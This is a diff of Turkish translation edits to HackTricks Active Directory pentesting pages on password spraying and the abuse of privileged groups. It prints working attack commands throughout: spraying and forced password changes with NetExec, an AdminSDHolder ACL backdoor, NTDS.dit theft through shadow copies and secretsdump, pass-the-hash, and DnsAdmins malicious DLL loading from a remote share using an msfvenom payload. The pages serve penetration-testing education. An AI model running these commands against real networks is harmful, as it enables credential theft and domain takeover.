yakalamaktır; bu, parolanın zorla geçersiz kılındığını ve eski parolayı bilmeden değiştirilebileceğini gösterir. +Düşük gürültülü bir teknik, zararsız/boş bir parola denemesi yapıp STATUS_PASSWORD_MUST_CHANGE döndüren hesapları yakalamaktır; bu, parolanın zorla süresinin dolduğunu ve eski parolayı bilmeden değiştirilebileceğini gösterir. İş akışı: -- Kullanıcıları enumerate ederek (RID brute via SAMR) hedef listesini oluşturun: +- Hedef listesini oluşturmak için kullanıcıları listeleyin (RID brute via SAMR): {{#ref}} ../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md @@ -99,12 +114,12 @@ Düşük gürültülü bir teknik, zararsız/boş bir password spray yapıp STAT # NetExec (null/guest) + RID brute to harvest users netexec smb -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt ``` -- Spray boş bir password deneyin ve hits'lerde devam ederek next logon'da parola değiştirmek zorunda olan hesapları ele geçirin: +- Boş bir password ile spray yapın ve başarılı denemelerde devam edin; böylece "must change at next logon" olan hesapları yakalayabilirsiniz: ```bash # Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results netexec smb -u users.txt -p '' --continue-on-success ``` -- Her başarılı eşleşme için, SAMR üzerinden NetExec’in modülüyle parolayı değiştirin ("must change" ayarlı olduğunda eski parola gerekmez): +- Her isabet için, SAMR üzerinden NetExec'in modülü ile parolayı değiştirin ("must change" ayarı etkinse eski parola gerekmez): ```bash # Strong complexity to satisfy policy env NEWPASS='P@ssw0rd!2025#' ; \ @@ -114,26 +129,26 @@ netexec smb -u -p '' -M change-password -o NEWPASS="$NEWPASS" netexec smb -u -p "$NEWPASS" --pass-pol ``` Operasyonel notlar: -- Kerberos tabanlı işlemlerden önce host saatinin DC ile senkronize olduğundan emin olun: `sudo ntpdate `. -- Bazı modüllerde (ör. RDP/WinRM) (Pwn3d!) olmayan bir [+], creds'in geçerli olduğunu ancak hesabın etkileşimli oturum açma haklarına sahip olmadığını gösterir. +- Kerberos tabanlı işlemlerden önce host saatinizin DC ile senkronize olduğundan emin olun: `sudo ntpdate `. +- Bazı modüllerde (örn. RDP/WinRM) (Pwn3d!) olmadan görülen [+], creds'in geçerli olduğunu ancak hesabın etkileşimli oturum açma haklarına sahip olmadığını gösterir. ## Brute Force ```bash legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org ``` -### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray) +### Kerberos pre-auth spraying ile LDAP hedefleme ve PSO farkındalıklı sınırlama (SpearSpray) -Kerberos pre-auth–based spraying, SMB/NTLM/LDAP bind attempts'e kıyasla gürültüyü azaltır ve AD lockout policies ile daha iyi uyum sağlar. SpearSpray, LDAP-driven targeting, bir pattern engine ve policy awareness (domain policy + PSOs + badPwdCount buffer) ile hassas ve güvenli bir şekilde spray yapar. Ayrıca ele geçirilmiş principal'ları BloodHound pathing için Neo4j'de etiketleyebilir. +Kerberos pre-auth–tabanlı spraying, SMB/NTLM/LDAP bind denemelerine göre gürültüyü azaltır ve AD hesap kilitleme politikalarıyla daha iyi uyum sağlar. SpearSpray, LDAP kaynaklı hedefleme, bir desen motoru ve politika farkındalığını (domain policy + PSOs + badPwdCount buffer) birleştirerek hassas ve güvenli bir şekilde spray yapar. Ayrıca ele geçirilmiş principals'ları Neo4j'de işaretleyerek BloodHound yol bulmayı destekleyebilir. -Key ideas: -- LDAP kullanıcı keşfi (sayfalandırma ve LDAPS desteği), isteğe bağlı olarak özel LDAP filtreleri kullanılarak. -- Domain lockout policy + PSO-aware filtreleme ile yapılandırılabilir bir deneme tamponu (threshold) bırakılarak kullanıcıların kilitlenmesinin önlenmesi. -- Hızlı gssapi bindings kullanarak Kerberos pre-auth doğrulaması (DC'lerde 4625 yerine 4768/4771 oluşturur). -- Pattern-based, kullanıcı başına parola oluşturma; isimler ve her kullanıcının pwdLastSet'inden türetilen zaman değerleri gibi değişkenleri kullanır. -- İşlem hacmi kontrolü: iş parçacıkları (threads), jitter ve saniye başına maksimum istek ile. -- İsteğe bağlı Neo4j entegrasyonu ile ele geçirilmiş kullanıcıları BloodHound için işaretleme. +Temel fikirler: +- Sayfalama ve LDAPS desteğiyle LDAP kullanıcı keşfi; isteğe bağlı olarak özel LDAP filtreleri kullanma. +- Kullanıcıların kilitlenmesini önlemek amacıyla ayarlanabilir deneme tamponu (eşik) bırakacak şekilde domain lockout policy + PSO farkındalıklı filtreleme. +- Hızlı gssapi binding'leri kullanarak Kerberos pre-auth doğrulaması (DC'lerde 4625 yerine 4768/4771 üretir). +- İsimler ve her kullanıcının pwdLastSet değerinden türetilen zamansal değerler gibi değişkenleri kullanan desen tabanlı, kullanıcı başına parola üretimi. +- İş parçacıkları, jitter ve saniye başına maksimum istek ile throughput kontrolü. +- Ele geçirilmiş kullanıcıları BloodHound için işaretlemek üzere isteğe bağlı Neo4j entegrasyonu. -Basic usage and discovery: +Temel kullanım ve keşif: ```bash # List available pattern variables spearspray -l @@ -174,29 +189,29 @@ Desen sistemi genel bakışı (patterns.txt): {samaccountname} {extra}{separator}{year}{suffix} ``` -Kullanılabilir değişkenler şunlardır: +Available variables include: - {name}, {samaccountname} -- Her kullanıcının pwdLastSet (veya whenCreated) değerinden zamanla ilgili: {year}, {short_year}, {month_number}, {month_en}, {season_en} -- Bileşim yardımcıları ve organizasyon tokeni: {separator}, {suffix}, {extra} +- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} +- Composition helpers and org token: {separator}, {suffix}, {extra} -Operasyonel notlar: -- En yetkili badPwdCount ve politika ile ilgili bilgileri okumak için -dc ile PDC-emulator sorgulamayı tercih edin. -- badPwdCount sıfırlamaları gözlem penceresinden sonraki bir sonraki denemede tetiklenir; güvende kalmak için eşik ve zamanlamayı kullanın. -- Kerberos pre-auth denemeleri DC telemetrilerinde 4768/4771 olarak görünür; karışmak için jitter ve rate-limiting kullanın. +Operational notes: +- Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info. +- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe. +- Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in. -> İpucu: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed. +> Tip: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed. ## Outlook Web Access -p**assword spraying outlook** için birden fazla araç vardır. +Outlook için p**assword spraying outlook** gerçekleştirebilecek birden fazla araç vardır. -- İle [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) -- İle [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) -- İle [Ruler](https://github.com/sensepost/ruler) (güvenilir!) -- İle [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) -- İle [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) +- [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) ile +- [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) ile +- [Ruler](https://github.com/sensepost/ruler) (güvenilir!) +- [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) +- [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) -Bu araçların herhangi birini kullanmak için bir kullanıcı listesine ve bir parola ya da küçük bir parola listesine ihtiyacınız vardır. +Bu araçların herhangi birini kullanmak için bir kullanıcı listesine ve password spraying yapmak için bir şifre veya küçük bir şifre listesine ihtiyacınız vardır. ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 @@ -215,7 +230,7 @@ Bu araçların herhangi birini kullanmak için bir kullanıcı listesine ve bir - [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer) - [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster) -## Kaynaklar +## Referanslar - [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray) - [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute) @@ -227,6 +242,7 @@ Bu araçların herhangi birini kullanmak için bir kullanıcı listesine ve bir - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296) - [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying) - [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) +- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md index 4ed59f40d..25bec8e32 100644 --- a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md +++ b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md @@ -2,90 +2,90 @@ {{#include ../../banners/hacktricks-training.md}} -## Yönetim ayrıcalıklarına sahip Bilinen Gruplar +## Well Known groups with administration privileges -- **Yönetici** -- **Alan Yöneticileri** -- **Kuruluş Yöneticileri** +- **Administrators** +- **Domain Admins** +- **Enterprise Admins** -## Hesap Operatörleri +## Account Operators -Bu grup, alan üzerindeki yönetici olmayan hesaplar ve gruplar oluşturma yetkisine sahiptir. Ayrıca, Alan Denetleyicisi'ne (DC) yerel giriş yapmayı sağlar. +Bu grup, domain üzerinde yönetici olmayan hesaplar ve gruplar oluşturma yetkisine sahiptir. Ek olarak, Domain Controller (DC) üzerinde yerel oturum açmaya olanak verir. -Bu grubun üyelerini tanımlamak için aşağıdaki komut çalıştırılır: +Bu grubun üyelerini belirlemek için aşağıdaki komut çalıştırılır: ```bash Get-NetGroupMember -Identity "Account Operators" -Recurse ``` -Yeni kullanıcı eklemek ve DC01'e yerel giriş yapmak izinlidir. +Yeni kullanıcı eklenmesine ve DC'ye yerel oturum açılmasına izin verilmektedir. ## AdminSDHolder grubu -**AdminSDHolder** grubunun Erişim Kontrol Listesi (ACL), Active Directory içindeki tüm "korunan gruplar" için izinleri belirlediğinden kritik öneme sahiptir; bu gruplar arasında yüksek ayrıcalıklı gruplar da bulunmaktadır. Bu mekanizma, yetkisiz değişiklikleri önleyerek bu grupların güvenliğini sağlar. +**AdminSDHolder** grubunun Erişim Kontrol Listesi (ACL) çok önemlidir çünkü Active Directory içindeki tüm "korumalı gruplar" için izinleri belirler; buna yüksek ayrıcalıklı gruplar da dahildir. Bu mekanizma, yetkisiz değişiklikleri engelleyerek bu grupların güvenliğini sağlar. -Bir saldırgan, **AdminSDHolder** grubunun ACL'sini değiştirerek standart bir kullanıcıya tam izinler verebilir. Bu, o kullanıcıya tüm korunan gruplar üzerinde tam kontrol sağlamış olur. Eğer bu kullanıcının izinleri değiştirilir veya kaldırılırsa, sistemin tasarımı gereği bir saat içinde otomatik olarak geri yüklenir. +Bir saldırgan, **AdminSDHolder** grubunun ACL'sini değiştirerek standart bir kullanıcıya tam izinler verebilir. Bu, söz konusu kullanıcıya tüm korumalı gruplar üzerinde fiilen tam kontrol sağlar. Bu kullanıcının izinleri değiştirilse veya kaldırılırsa, sistem tasarımından dolayı yaklaşık bir saat içinde otomatik olarak geri yüklenir. -Üyeleri gözden geçirmek ve izinleri değiştirmek için kullanılacak komutlar şunlardır: +Üyeleri gözden geçirmek ve izinleri değiştirmek için kullanılabilecek komutlar şunlardır: ```bash Get-NetGroupMember -Identity "AdminSDHolder" -Recurse Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'} ``` -Bir script, geri yükleme sürecini hızlandırmak için mevcuttur: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1). +Kurtarma sürecini hızlandırmak için bir script mevcuttur: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1). -Daha fazla bilgi için [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence) adresini ziyaret edin. +Daha fazla bilgi için: [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence). -## AD Geri Dönüşüm Kutusu +## AD Recycle Bin -Bu gruba üyelik, silinmiş Active Directory nesnelerinin okunmasına izin verir, bu da hassas bilgileri ortaya çıkarabilir: +Bu gruba üyelik, silinmiş Active Directory nesnelerinin okunmasına izin verir; bu da hassas bilgilerin ifşa olmasına yol açabilir: ```bash Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * ``` -### Domain Controller Erişimi +### Domain Controller Access -DC üzerindeki dosyalara erişim, kullanıcı `Server Operators` grubunun bir parçası değilse kısıtlıdır, bu da erişim seviyesini değiştirir. +DC üzerindeki dosyalara erişim, kullanıcı `Server Operators` grubunun bir üyesi olmadığı sürece kısıtlanmıştır; bu grup erişim düzeyini değiştirir. ### Yetki Yükseltme -Sysinternals'tan `PsService` veya `sc` kullanarak, hizmet izinlerini inceleyebilir ve değiştirebilirsiniz. Örneğin, `Server Operators` grubu belirli hizmetler üzerinde tam kontrol sahibidir, bu da keyfi komutların çalıştırılmasına ve yetki yükseltmeye olanak tanır: +Sysinternals'ten `PsService` veya `sc` kullanılarak servis izinleri incelenip değiştirilebilir. Örneğin `Server Operators` grubu belirli servisler üzerinde tam kontrole sahiptir; bu da rastgele komutların çalıştırılmasına ve yetki yükseltmeye izin verir: ```cmd C:\> .\PsService.exe security AppReadiness ``` -Bu komut, `Server Operators` grubunun tam erişime sahip olduğunu ve hizmetlerin yükseltilmiş ayrıcalıklar için manipüle edilmesine olanak tanıdığını gösterir. +Bu komut `Server Operators`'ın tam erişime sahip olduğunu ortaya çıkarır; bu, ayrıcalık yükseltme için servisleri manipüle etmeye olanak tanır. -## Yedekleme Operatörleri +## Backup Operators -`Backup Operators` grubuna üyelik, `SeBackup` ve `SeRestore` ayrıcalıkları nedeniyle `DC01` dosya sistemine erişim sağlar. Bu ayrıcalıklar, açık izinler olmaksızın, `FILE_FLAG_BACKUP_SEMANTICS` bayrağını kullanarak klasör geçişi, listeleme ve dosya kopyalama yeteneklerini etkinleştirir. Bu süreç için belirli betiklerin kullanılması gereklidir. +`Backup Operators` grubuna üyelik, `SeBackup` ve `SeRestore` ayrıcalıkları nedeniyle `DC01` dosya sistemine erişim sağlar. Bu ayrıcalıklar, `FILE_FLAG_BACKUP_SEMANTICS` bayrağı kullanılarak açık izinler olmasa bile klasör dolaşımı, listeleme ve dosya kopyalama yeteneklerini mümkün kılar. Bu işlem için belirli scriptlerin kullanılması gerekir. -Grup üyelerini listelemek için şunu çalıştırın: +Grup üyelerini listelemek için şu komutu çalıştırın: ```bash Get-NetGroupMember -Identity "Backup Operators" -Recurse ``` ### Yerel Saldırı -Bu ayrıcalıkları yerel olarak kullanmak için aşağıdaki adımlar uygulanır: +Bu ayrıcalıkları yerel düzeyde kullanmak için aşağıdaki adımlar uygulanır: 1. Gerekli kütüphaneleri içe aktarın: ```bash Import-Module .\SeBackupPrivilegeUtils.dll Import-Module .\SeBackupPrivilegeCmdLets.dll ``` -2. `SeBackupPrivilege`'i etkinleştir ve doğrula: +2. `SeBackupPrivilege`'i etkinleştirin ve doğrulayın: ```bash Set-SeBackupPrivilege Get-SeBackupPrivilege ``` -3. Kısıtlı dizinlerden dosyalara erişim sağlayın ve kopyalayın, örneğin: +3. Kısıtlı dizinlere erişin ve dosyaları kopyalayın, örneğin: ```bash dir C:\Users\Administrator\ Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite ``` ### AD Saldırısı -Domain Controller'ın dosya sistemine doğrudan erişim, domain kullanıcıları ve bilgisayarları için tüm NTLM hash'lerini içeren `NTDS.dit` veritabanının çalınmasına olanak tanır. +Domain Controller'ın dosya sistemine doğrudan erişim, domain kullanıcıları ve bilgisayarları için tüm `NTLM` hash'lerini içeren `NTDS.dit` veritabanının çalınmasına olanak tanır. -#### diskshadow.exe Kullanarak +#### diskshadow.exe kullanarak -1. `C` sürücüsünün bir gölge kopyasını oluşturun: +1. `C` sürücüsünün bir shadow copy'sini oluşturun: ```cmd diskshadow.exe set verbose on @@ -98,7 +98,7 @@ expose %cdrive% F: end backup exit ``` -2. `NTDS.dit` dosyasını yedek kopyadan kopyalayın: +2. Gölge kopyadan `NTDS.dit` dosyasını kopyalayın: ```cmd Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit ``` @@ -106,19 +106,27 @@ Alternatif olarak, dosya kopyalamak için `robocopy` kullanın: ```cmd robocopy /B F:\Windows\NTDS .\ntds ntds.dit ``` -3. Hash alımı için `SYSTEM` ve `SAM`'i çıkarın: +3. Hash elde etmek için `SYSTEM` ve `SAM`'ı çıkarın: ```cmd reg save HKLM\SYSTEM SYSTEM.SAV reg save HKLM\SAM SAM.SAV ``` -4. `NTDS.dit` dosyasından tüm hash'leri al: +4. `NTDS.dit`'ten tüm hash'leri alın: ```shell-session secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL ``` -#### wbadmin.exe Kullanımı +5. Çıkarım sonrası: Pass-the-Hash ile DA'ya +```bash +# Use the recovered Administrator NT hash to authenticate without the cleartext password +netexec winrm -u Administrator -H -x "whoami" -1. Saldırgan makinede SMB sunucusu için NTFS dosya sistemini ayarlayın ve hedef makinede SMB kimlik bilgilerini önbelleğe alın. -2. Sistem yedeği ve `NTDS.dit` çıkarımı için `wbadmin.exe` kullanın: +# Or execute via SMB using an exec method +netexec smb -u Administrator -H --exec-method smbexec -x cmd +``` +#### wbadmin.exe kullanımı + +1. Saldırgan makinede SMB sunucusu için NTFS dosya sistemi oluşturun ve hedef makinede SMB kimlik bilgilerini önbelleğe alın. +2. Sistem yedeği almak ve `NTDS.dit` çıkarmak için `wbadmin.exe` kullanın: ```cmd net use X: \\\sharename /user:smbuser password echo "Y" | wbadmin start backup -backuptarget:\\\sharename -include:c:\windows\ntds @@ -126,23 +134,29 @@ wbadmin get versions echo "Y" | wbadmin start recovery -version: -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl ``` -Pratik bir gösterim için [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s) bağlantısına bakın. +Pratik bir gösterim için bkz. [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s). ## DnsAdmins -**DnsAdmins** grubunun üyeleri, DNS sunucusunda (genellikle Alan Denetleyicileri üzerinde barındırılır) SYSTEM ayrıcalıklarıyla rastgele bir DLL yüklemek için ayrıcalıklarını kullanabilirler. Bu yetenek, önemli bir istismar potansiyeli sağlar. +**DnsAdmins** grubunun üyeleri, ayrıcalıklarını DNS sunucusunda (çoğunlukla Domain Controller'larda barındırılan) SYSTEM ayrıcalıklarıyla rastgele bir DLL yüklemek için kullanabilirler. Bu yetenek önemli suistimal potansiyeli sağlar. -DnsAdmins grubunun üyelerini listelemek için: +DnsAdmins grubunun üyelerini listelemek için şunu kullanın: ```bash Get-NetGroupMember -Identity "DnsAdmins" -Recurse ``` -### Rastgele DLL Yükle +### Execute arbitrary DLL (CVE‑2021‑40469) -Üyeler, DNS sunucusunun rastgele bir DLL'yi (yerel veya uzak bir paylaşımdan) yüklemesini sağlamak için aşağıdaki gibi komutlar kullanabilir: +> [!NOTE] +> Bu zafiyet, DNS hizmetinde (genellikle DCs içinde) SYSTEM ayrıcalıklarıyla keyfi kod çalıştırılmasına izin verir. Bu sorun 2021'de düzeltildi. + +Üyeler, aşağıdaki gibi komutları kullanarak DNS sunucusunun keyfi bir DLL yüklemesini sağlayabilir (yerel olarak veya uzaktan bir paylaşımdan): ```bash dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage: + +# If dnscmd is not installed run from aprivileged PowerShell session: +Install-WindowsFeature -Name RSAT-DNS-Server -IncludeManagementTools ``` ```c @@ -158,86 +172,90 @@ system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /doma // Generate DLL with msfvenom msfvenom -p windows/x64/exec cmd='net group "domain admins" /add /domain' -f dll -o adduser.dll ``` -DNS hizmetinin yeniden başlatılması (bu ek izinler gerektirebilir) DLL'nin yüklenmesi için gereklidir: +DLL'in yüklenebilmesi için DNS hizmetinin yeniden başlatılması (bu ek izinler gerektirebilir) gereklidir: ```csharp sc.exe \\dc01 stop dns sc.exe \\dc01 start dns ``` -For more details on this attack vector, refer to ired.team. +Daha fazla ayrıntı için ired.team'e bakın. #### Mimilib.dll -Mimilib.dll'yi belirli komutları veya ters shell'leri çalıştırmak için değiştirmek suretiyle komut yürütme amacıyla kullanmak da mümkündür. [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) for more information. +mimilib.dll'i komut çalıştırmak için kullanmak da mümkündür; belirli komutları veya reverse shells çalıştıracak şekilde değiştirilebilir. Daha fazla bilgi için [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html). -### WPAD Record for MitM +### MitM için WPAD Kaydı -DnsAdmins, global sorgu engelleme listesini devre dışı bıraktıktan sonra bir WPAD kaydı oluşturarak Man-in-the-Middle (MitM) saldırıları gerçekleştirmek için DNS kayıtlarını manipüle edebilir. Responder veya Inveigh gibi araçlar, ağ trafiğini sahteleyip yakalamak için kullanılabilir. +DnsAdmins, global query block list'i devre dışı bıraktıktan sonra bir WPAD kaydı oluşturarak Man-in-the-Middle (MitM) saldırıları gerçekleştirebilir. Responder veya Inveigh gibi araçlar spoofing ve ağ trafiğini yakalamak için kullanılabilir. -### Event Log Readers -Üyeler, düz metin şifreler veya komut yürütme detayları gibi hassas bilgileri bulma potansiyeline sahip olan olay günlüklerine erişebilirler: +### Olay Günlüğü Okuyucuları +Üyeler olay günlüklerine erişebilir ve potansiyel olarak açık metin parolalar veya komut çalıştırma ayrıntıları gibi hassas bilgiler bulabilir: ```bash # Get members and search logs for sensitive information Get-NetGroupMember -Identity "Event Log Readers" -Recurse Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} ``` -## Exchange Windows İzinleri +## Exchange Windows Permissions -Bu grup, alan nesnesi üzerindeki DACL'leri değiştirebilir ve potansiyel olarak DCSync ayrıcalıkları verebilir. Bu grubu istismar eden ayrıcalık yükseltme teknikleri Exchange-AD-Privesc GitHub repo'sunda detaylandırılmıştır. +Bu grup domain nesnesi üzerindeki DACLs'i değiştirebilir ve potansiyel olarak DCSync ayrıcalıkları verebilir. Teknik olarak, bu grubu kötüye kullanarak yapılan privilege escalation yöntemleri Exchange-AD-Privesc GitHub repo'da ayrıntılı olarak açıklanmıştır. ```bash # List members Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse ``` -## Hyper-V Yöneticileri +## Hyper-V Administrators -Hyper-V Yöneticileri, sanallaştırılmış Etki Alanı Denetleyicileri üzerinde kontrol sağlamak için kullanılabilecek Hyper-V'ye tam erişime sahiptir. Bu, canlı DC'lerin kopyalanmasını ve NTDS.dit dosyasından NTLM hash'lerinin çıkarılmasını içerir. +Hyper-V Administrators, Hyper-V üzerinde tam erişime sahiptir; bu erişim sanallaştırılmış Domain Controllers üzerinde kontrol ele geçirmek için sömürülebilir. Bu, çalışır durumda olan DC'lerin klonlanmasını ve NTDS.dit dosyasından NTLM hash'lerinin çıkarılmasını içerir. -### Sömürü Örneği +### İstismar Örneği -Firefox'un Mozilla Bakım Servisi, Hyper-V Yöneticileri tarafından SYSTEM olarak komutlar çalıştırmak için sömürülebilir. Bu, korumalı bir SYSTEM dosyasına sert bir bağlantı oluşturarak ve bunu kötü niyetli bir çalıştırılabilir dosya ile değiştirmeyi içerir: +Firefox'un Mozilla Maintenance Service'i, Hyper-V Administrators tarafından SYSTEM olarak komut yürütmek için sömürülebilir. Bu, korumalı bir SYSTEM dosyasına hard link oluşturmayı ve onu kötü amaçlı bir çalıştırılabilir dosya ile değiştirmeyi içerir: ```bash # Take ownership and start the service takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe sc.exe start MozillaMaintenance ``` -Not: Hard link istismarı, son Windows güncellemeleri ile azaltılmıştır. +Not: Hard link exploitation son Windows güncellemelerinde hafifletildi. -## Organizasyon Yönetimi +## Group Policy Creators Owners -**Microsoft Exchange**'in dağıtıldığı ortamlarda, **Organizasyon Yönetimi** olarak bilinen özel bir grup önemli yetkilere sahiptir. Bu grup, **tüm alan kullanıcılarının posta kutularına erişim** hakkına sahiptir ve **'Microsoft Exchange Güvenlik Grupları'** Organizasyonel Birimi (OU) üzerinde **tam kontrol** sağlar. Bu kontrol, ayrıcalık yükseltmesi için istismar edilebilecek **`Exchange Windows Permissions`** grubunu da içerir. +Bu grup, üyelerinin domain içinde Group Policies oluşturmasına izin verir. Ancak üyeler, Group Policies'i kullanıcılara veya gruplara uygulayamaz veya mevcut GPO'ları düzenleyemez. -### Ayrıcalık İstismarı ve Komutlar +## Organization Management -#### Yazdırma Operatörleri +**Microsoft Exchange**'in konuşlandırıldığı ortamlarda, **Organization Management** olarak bilinen özel bir grup önemli yeteneklere sahiptir. Bu grup, **tüm domain kullanıcılarının posta kutularına erişim** ayrıcalığına sahiptir ve **'Microsoft Exchange Security Groups'** Organizational Unit (OU) üzerinde tam kontrole sahiptir. Bu kontrol, ayrıcalık yükseltme için istismar edilebilecek **`Exchange Windows Permissions`** grubunu içerir. -**Yazdırma Operatörleri** grubunun üyeleri, **`SeLoadDriverPrivilege`** dahil olmak üzere birkaç ayrıcalıkla donatılmıştır; bu, onlara **bir Alan Denetleyicisine yerel olarak giriş yapma**, onu kapatma ve yazıcıları yönetme yetkisi verir. Bu ayrıcalıkları istismar etmek için, özellikle **`SeLoadDriverPrivilege`** yükseltilmemiş bir bağlamda görünmüyorsa, Kullanıcı Hesabı Kontrolü'nü (UAC) atlamak gereklidir. +### Privilege Exploitation and Commands + +#### Print Operators + +**Print Operators** grubunun üyeleri birkaç ayrıcalığa sahiptir; bunların arasında **`SeLoadDriverPrivilege`** de bulunur; bu, onların **log on locally to a Domain Controller**, kapatma ve yazıcıları yönetme yetkisine sahip olmalarını sağlar. Bu ayrıcalıkları istismar etmek için, özellikle **`SeLoadDriverPrivilege`** yükseltilmemiş bir bağlamda görünmüyorsa, User Account Control (UAC) atlatılması gerekir. Bu grubun üyelerini listelemek için aşağıdaki PowerShell komutu kullanılır: ```bash Get-NetGroupMember -Identity "Print Operators" -Recurse ``` -Daha ayrıntılı istismar teknikleri için **`SeLoadDriverPrivilege`** ile ilgili olarak, belirli güvenlik kaynaklarına başvurulmalıdır. +**`SeLoadDriverPrivilege`** ile ilgili daha ayrıntılı exploitation techniques hakkında bilgi için belirli güvenlik kaynaklarına başvurulmalıdır. #### Uzak Masaüstü Kullanıcıları -Bu grubun üyelerine Uzak Masaüstü Protokolü (RDP) aracılığıyla PC'lere erişim izni verilir. Bu üyeleri listelemek için PowerShell komutları mevcuttur: +Bu grubun üyelerine Remote Desktop Protocol (RDP) üzerinden PC'lere erişim izni verilir. Bu üyeleri listelemek için PowerShell komutları mevcuttur: ```bash Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse Get-NetLocalGroupMember -ComputerName -GroupName "Remote Desktop Users" ``` -RDP'yi istismar etme konusunda daha fazla bilgiye özel pentesting kaynaklarında ulaşılabilir. +RDP'yi istismar etmeye dair daha fazla bilgi özel pentesting kaynaklarında bulunabilir. #### Uzaktan Yönetim Kullanıcıları -Üyeler **Windows Uzaktan Yönetimi (WinRM)** üzerinden PC'lere erişebilir. Bu üyelerin belirlenmesi şu şekilde gerçekleştirilir: +Üyeler **Windows Remote Management (WinRM)** üzerinden PC'lere erişebilir. Bu üyelerin enumeration yoluyla belirlenmesi şu yollarla gerçekleştirilir: ```bash Get-NetGroupMember -Identity "Remote Management Users" -Recurse Get-NetLocalGroupMember -ComputerName -GroupName "Remote Management Users" ``` -**WinRM** ile ilgili istismar teknikleri için belirli belgeler incelenmelidir. +**WinRM** ile ilgili exploitation techniques için ilgili dokümantasyon incelenmelidir. #### Sunucu Operatörleri -Bu grup, Yedekleme ve geri yükleme ayrıcalıkları, sistem saatini değiştirme ve sistemi kapatma dahil olmak üzere Etki Alanı Denetleyicileri üzerinde çeşitli yapılandırmalar gerçekleştirme izinlerine sahiptir. Üyeleri listelemek için verilen komut: +Bu grup, Etki Alanı Denetleyicileri üzerinde çeşitli yapılandırmaları gerçekleştirme izinlerine sahiptir; bunlar arasında yedekleme ve geri yükleme ayrıcalıkları, sistem saatini değiştirme ve sistemi kapatma yer alır. Üyeleri listelemek için verilen komut şudur: ```bash Get-NetGroupMember -Identity "Server Operators" -Recurse ``` @@ -257,6 +275,7 @@ Get-NetGroupMember 